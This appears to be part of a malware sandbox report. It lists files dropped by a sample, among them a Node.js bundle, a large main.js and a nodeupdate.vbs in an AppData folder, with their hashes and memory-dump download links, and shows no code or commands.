Path C:\Users\Admin\AppData\Local\Temp\node-extract-232325692\node-v20.11.0-win-x64\node_modules\npm\node_modules\wide-align\LICENSE
Size 766B
SHA256 1b94c9898885c681c1e0ebbf96494e49662842f88ac1e4dd8ffad0ac047108ae
MD5 9ea8c9dc7d5714c61dfdaedcc774fb69
SHA1 5ea7b44b36946359b3200e48de240fe957ee70f1
SHA512 0401c416464818fcaadd6e156ce92c28448e990765ddb7d0097b0c30ea9c8a5d862a53a94fd4a0adb502db1e3abe445c08f18e6fcccbb9f70fcbab273a938e60
TLSH
T10901258FB1912AD454E1ABA43DA1AD4861CDF03B7D43AB043479F34CDB7B44FD869904
MD5 SHA1 SHA512 TLSH

Submit Download

.env

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\.env
Size 27B
SHA256 21ef46733cbacc2620f16a56ea85ffa0c880b6a323df797aeb631cdd4fa30de2
MD5 e5873d5f0b83fc932b89f3ddf346fca5
SHA1 b266ca6d6134b215f22eb8a5981038b00d597908
SHA512 a1422024f60c9e21ec58585faf9be2180de5a85ccd3b9147c5fe4da94d1c3a527919c199741f261ef4394dab781ccdae22c5f0b36ec3f88c02039060e0d3f179
MD5 SHA1 SHA512

Submit Download

main.js

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\main.js
Size 1.1MB
SHA256 97bd48e91073766309d2a15b1d4ba0f98758c213be06c5c9d5368cfe2390ee2b
MD5 df160aa90efabceecdd25046ce282ec1
SHA1 5704cfddd3229f5545f2fce16a195bd6fec5c367
SHA512 c32afb26f55ecc1abec1bb4194d78943e4993495b015fae82c2f33bf5e809738302dfd7dff400658bf2a73c9b330533df00caf6f25ee7cc0cf9796e6728de741
SSDEEP 24576:YO3bgyJ4VPdBPBSSt2aApPOSAXFFLipfKVieOpwN/YPRflY7V/RY+yQ:BbgyJ6dBPBSSt2aMOSAXFFLipfhekwlB
TLSH
T11235328037D1F807124F4B73BB166AF9D12EA85AA188E84FE2047E58F4ED913DAD4D71
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

corepack

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\corepack
Size 334B
SHA256 dcef0a787c4654ac5c085fafa3a1e12d60d6f42e0d259c38378b61ef64295fa2
MD5 1a27e3e2f449816f5ffcdd57703a3f78
SHA1 b529a4d96ca51d2bb96f7868970ed39c7259f3cf
SHA512 32c2bc00b1ac8755c571eee99a565e82a9e617bec608229992a66628b50f647848598064207c9c1631a68d709220f6b84601f5aeb8554a8c35edc70ef996119d
TLSH
T1B5E04FA451AA5F72491D7AF0AC599459449E43832051AE98EC1C3B41847439E72CB6AC
MD5 SHA1 SHA512 TLSH

Submit Download

corepack.cmd

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\corepack.cmd
Size 218B
SHA256 920630a1d1ec47aedea7345e3c868ecdc07e191373497bbf47fbbf5942fbad4f
MD5 c046e14548ebb384ef71c0efea0e857a
SHA1 504e3d339b444b1051fb0b033da0f2e661385c0d
SHA512 efac98aadbdea59064d5752884bc9697c9fd15ad44e820f9457f679ad4e68be2e11e965af03ad70fee1f34c93c64eaf1813c60f19145ec1b693787a45c602833
TLSH
T12FD0127005BE4F333A5A2DF9F48213B778CDABA104150DBC7D29439202CC2C687D12D5
MD5 SHA1 SHA512 TLSH

Submit Download

npm

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\npm
Size 1KB
SHA256 f87e46c007b033acf291372dd2fe45b895582bdb5fff6e8812ea22ce426d07be
MD5 fb2ef0a3ca4696176e070ee8a658db6f
SHA1 eee6662a953efd3cfc158e35003040b96eadc341
SHA512 4947aed47b64d2c40395555f3b2e5ad0f15b96ee68a6e1c28cd0b37473b0046e2b03efa30f735d7ff6debefe460c9619402318deaf298a5ec85134ba37951a75
TLSH
T1C541D6B7B9EC5FB47D980BA03C0B1824379A90FF077431D0A01EAA0079D8579985737B
MD5 SHA1 SHA512 TLSH

Submit Download

npm.cmd

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\npm.cmd
Size 483B
SHA256 afa68b96334ea8493bcb908743af3dbd619cf26be7b44460179abd4d75d849d2
MD5 d5b5acb61c9bf69fb8bfc65eba28c6ab
SHA1 eebdd696f7f1aaea15ac4e10f5a6e5aa5a6aca8c
SHA512 69483d7c5e49efdcdf054b3c5d96d9d315e436f60ef3059dd6a80472445d79068655a8a27d868e907f2ebafc49b8f638947b2fb49d42e4a9f427fec74fb58822
TLSH
T14FF0E2B6FCA94EDC711A0F613C36482574CB78477C6220E6262C8865C7E46F400C339B
MD5 SHA1 SHA512 TLSH

Submit Download

npx

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\npx
Size 2KB
SHA256 4cd50f2a542db7f65459de435c0e67f9e86054951e22e84effb4962c9c1c5c66
MD5 a9ecab0db8ea8456d7c28fe69ea1b593
SHA1 ba2767e41d1c1f54ed5f87dddd6c76e4200f6392
SHA512 6c4e244defea3d666e28986d5853b72d64f96c700938d6d168b1630447497ccf0e3973ffa4166db82834f6e385f65878fc8d40082d193c3e9e38659e620029d9
TLSH
T19A41D7B7B8EC6BB47D980FA03C1A1415378A90FF077431F0A11EA6003EA857594573BB
MD5 SHA1 SHA512 TLSH

Submit Download

npx.cmd

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\node\npx.cmd
Size 539B
SHA256 b6004636a98cbb9814fdfc98bb7365e78ab48b3208f60ac5b2f17794c5285f26
MD5 d679d19cfab093d75d4b75672a0ba98a
SHA1 515c2954d10d4c27b564a11631ad29b553531731
SHA512 26eeb8e686470c0bf036c50bc9e05635d1ec28d278290c201111f431771e9af4e0be8af3d69993736fe1712ae8cd1173f9e07f54422f7289a128d7ea6275bc97
TLSH
T127F0F0B6FCE94ADDB11A3F613C76482474CB78C76C2220F9272C85658FA46F000C229B
MD5 SHA1 SHA512 TLSH

Submit Download

nodeupdate.vbs

Path C:\Users\Admin\AppData\Local\WebServer-CUFERXWN\nodeupdate.vbs
Size 381B
SHA256 e3e0d52abecdd642aaccdfdf9d9dd2cb6247a5299e0c23bfa6448696403b172d
MD5 f259732328e506f4deded8b15ade5c1a
SHA1 90734b10ea4bbe261b08064d52cb3daeae3a8ce3
SHA512 ad5729aff37b42b41c31aad8eff19f0c2be3664d77ee71656b56d612ae84659ce656b3c9fd11be3d1a7d56244b287d6260f6b65d8aa04cf23b47190e7657e941
TLSH
T198E06842E4CFCF7C0402446B29A5885CC6E50025362072F25B20C8EE011523C76C718A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4520-21-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-22-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-15-0x00000183F7580000-0x00000183F759E000-memory.dmp

Download

memory/4520-17-0x00000183F7220000-0x00000183F722A000-memory.dmp

Download

memory/4520-16-0x00000183F7650000-0x00000183F7702000-memory.dmp

Download

memory/4520-12-0x00000183F7C70000-0x00000183F7E32000-memory.dmp

Download

memory/4520-11-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-10-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-9-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-8-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-7-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-0-0x00007FFCEB92F000-0x00007FFCEB930000-memory.dmp

Download

memory/4520-19-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-20-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-34-0x00000183F75F0000-0x00000183F7602000-memory.dmp

Download

memory/4520-18-0x00000183F75C0000-0x00000183F75DE000-memory.dmp

Download

memory/4520-23-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-24-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-26-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-27-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-28-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-4311-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-4313-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-29-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-30-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-33-0x00000183F75C0000-0x00000183F75CA000-memory.dmp

Download

memory/4520-6-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-5-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download

memory/4520-4-0x00000183F71A0000-0x00000183F71C2000-memory.dmp

Download

memory/4520-3-0x00007FFCEB7A0000-0x00007FFCEC144000-memory.dmp

Download